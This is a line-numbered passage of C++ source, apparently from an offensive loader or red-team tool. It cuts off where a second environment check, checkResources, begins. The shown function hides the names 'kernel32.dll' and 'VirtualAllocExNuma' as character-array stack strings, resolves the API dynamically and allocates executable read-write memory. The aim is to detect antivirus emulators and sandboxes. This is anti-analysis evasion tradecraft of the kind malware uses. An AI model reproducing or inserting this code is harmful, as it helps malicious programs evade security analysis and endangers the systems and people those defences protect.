| 35 | DWORD flProtect, DWORD nndPreferred); |
| 36 | |
| 37 | bool checkNUMA() |
| 38 | { |
| 39 | LPVOID mem{NULL}; |
| 40 | const char k32DllName[13]{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0}; |
| 41 | const char vAllocExNuma[19]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', |
| 42 | 'o', 'c', 'E', 'x', 'N', 'u', 'm', 'a', 0x0}; |
| 43 | pVirtualAllocExNuma myVirtualAllocExNuma = |
| 44 | (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle(k32DllName), vAllocExNuma); |
| 45 | mem = |
| 46 | myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0); |
| 47 | if (mem != NULL) |
| 48 | { |
| 49 | return false; |
| 50 | } |
| 51 | else |
| 52 | { |
| 53 | return true; |
| 54 | } |
| 55 | } |
| 56 | |
| 57 | bool checkResources() |
| 58 | { |